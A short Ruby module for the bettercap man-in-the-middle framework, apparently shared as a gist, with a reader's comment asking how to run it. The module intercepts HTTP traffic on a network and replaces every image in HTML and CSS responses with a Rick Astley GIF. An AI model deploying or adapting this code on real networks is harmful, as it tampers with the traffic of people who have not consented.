A bettercap module that replaces all images in a HTTP response with a rick astley gif

bettercap-rick-astley.rb

class RickAstley < BetterCap::Proxy::Module
  def on_request( request, response )
    if response.content_type =~ /^text\/html.*/
      BetterCap::Logger.info "Rick Rolling http://#{request.host}#{request.url}"
      # replace img tags
      response.body.gsub!( /\<img.*\>/, '<img src="http://i.giphy.com/Vuw9m5wXviFIQ.gif">' )
      # replace CSS background-images
      response.body.gsub!(/url\(.*\.(gif|jpg|jpeg|png).*\)/, 'url("http://i.giphy.com/Vuw9m5wXviFIQ.gif")')
    elsif response.content_type =~ /^text\/css.*/
      # replace CSS background-images
      response.body.gsub!(/url\(.*\.(gif|jpg|jpeg|png).*\)/, 'url("http://i.giphy.com/Vuw9m5wXviFIQ.gif")')
    end
  end
end

how do i run this bro?